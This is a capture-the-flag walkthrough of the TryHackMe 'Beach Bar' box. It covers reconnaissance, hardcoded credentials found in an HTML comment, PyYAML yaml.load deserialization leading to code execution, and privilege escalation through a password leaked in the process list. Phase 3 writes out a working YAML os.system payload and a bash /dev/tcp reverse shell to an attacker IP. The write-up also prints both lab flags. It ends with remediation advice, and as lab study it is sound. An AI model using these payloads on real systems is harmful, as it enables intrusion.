Beach Bar — TryHackMe Boot2Root Walkthrough
Introduction
Beach Bar is an easy boot2root box built around a Flask/Gunicorn web app for a beachside jukebox. The path to root involves three chained weaknesses:
- Hardcoded staff credentials left in the login page's HTML source
- Insecure YAML deserialization (
yaml.load) in a playlist import/export feature - A plaintext password leaked via a
ps aux-visible command line, reused for the root account
💡 Target Machine
10.48.164.8 — Only web (80) and SSH (22)
exposed, so port 80 was the entry point.
Phase 1: Reconnaissance 🔍
Started with a full port scan to map the attack surface:
nmap -sC -sV -p- 10.48.164.8
Scan Results
| Port | Service | Notes |
|---|---|---|
| 22 | SSH (OpenSSH 9.6p1, Ubuntu) | — |
| 80 | HTTP (Gunicorn) | "Beach Bar // Sign in" — redirects to
/login
|
Phase 2: Initial Access — Hardcoded Credentials 🔑
Viewing the page source of the login form (/login) revealed a developer comment:
<!-- staff note: the demo DJ login is still enabled for the soft opening.
dj / dj -- swap this before the season starts (ticket BAR-7) -->
Logging in with dj / dj granted access to a "DJ booth" playlist management panel with:
/export— downloads the current playlist as YAML/import— uploads a YAML file to load a new playlist
🔍 Critical Finding #1
Hardcoded demo credentials exposed in HTML comments. Any visitor inspecting the page source can obtain valid authentication credentials without any attack.
Phase 3: Exploiting YAML Deserialization (RCE) 💉
Understanding the Vulnerability
The exported file (playlist.yml) had a simple structure:
playlist:
name: Sunset Session
vibe: golden hour
tracks:
- artist: Khruangbin
title: Maria Tambien
Because the backend used PyYAML's unsafe yaml.load() (rather than
safe_load()), Python object tags could be embedded in any field to achieve command
execution.
🚨 Why This Works
PyYAML's yaml.load() processes YAML type tags
like !!python/object/apply: which can instantiate arbitrary Python objects — including
calling os.system().
Proof of Concept
playlist:
name: !!python/object/apply:os.system ["id > /tmp/pwned.txt"]
vibe: golden hour
tracks:
- artist: Khruangbin
title: Maria Tambien
Uploading this via /import returned:
Loaded playlist
{'playlist': {'name': 0, 'vibe': 'golden hour', ...}}
name: 0 is the exit code of os.system() — confirming
successful command execution as the web app user.
Getting a Reverse Shell
Listener on attacker machine:
nc -lvnp 4444
Payload:
playlist:
name: !!python/object/apply:os.system
args: ["bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"]
vibe: golden hour
tracks:
- artist: Khruangbin
title: Maria Tambien
Uploading this via /import triggered a reverse shell as bartender.
Stabilize the shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Phase 4: User Flag 🚩
cat /home/bartender/user.txt
🎉 USER FLAG
THM{y4ml_pl4yl1st_pwns_th3_b34ch}
Phase 5: Privilege Escalation — Credential Reuse via Process List ⬆️
Local Enumeration
Several enumeration steps were checked:
find / -perm -u=s -type f→ only stock SUID binaries, nothing exploitableid→bartender, no extra groupsss -tulpn→ only ports 22 and 80 listening; no hidden internal servicegetcap -r /→ nothing notableps aux | grep -i python→ revealed the key finding
root 610 ... /opt/beach-bar/venv/bin/python /opt/beach-bar/jukeboxd/jukeboxd.py \
--stream-pass SunsetSpritz2024! --bitrate 320k
🚨 Critical Finding #2
A root-owned process (jukeboxd.py) was started
with its password passed as a command-line argument, which is visible to any local
user via ps aux (or /proc/<pid>/cmdline) since Linux does not
restrict read access to process argument vectors by default.
Credential Reuse
The leaked password SunsetSpritz2024! was tried against local accounts:
su - root
Password: SunsetSpritz2024!
This succeeded — the same password had been reused for the root account.
Phase 6: Root Flag 🏆
id
# uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
🎉 ROOT FLAG CAPTURED!
THM{cr3d3nt14l_r3us3_4t_th3_b34ch_b4r}
Full system compromise achieved — from guest login to root in three chained exploits.
Attack Chain Summary
1. Recon → only web (80) and SSH (22) exposed
↓
2. Info Disclosure → hardcoded demo credentials (dj/dj) in HTML comment
↓
3. Insecure Deserialization → yaml.load() on user-supplied playlist import → RCE as bartender
↓
4. Local Enumeration → root process leaking a plaintext password via ps aux
↓
5. Credential Reuse → same password worked for root via su
↓
ROOT FLAG RETRIEVED
Key Takeaways / Remediation
❌ Vulnerable Patterns
# Unsafe YAML loading
yaml.load(user_input)
# Hardcoded credentials in HTML
<!-- dj / dj -->
# Secrets in CLI arguments
--stream-pass SunsetSpritz2024!
# Password reuse
root password = service password
✅ Secure Alternatives
# Always use safe_load()
yaml.safe_load(user_input)
# Use config/env for credentials
os.environ['DJ_PASSWORD']
# Use env vars or secret files
export STREAM_PASS=...
# Unique passwords per account
password manager / vault
💭 Final Thoughts
This box demonstrates how a chain of seemingly minor misconfigurations — a forgotten HTML comment, a careless function call, and a lazy password reuse — can cascade into full system compromise. Always audit every layer independently.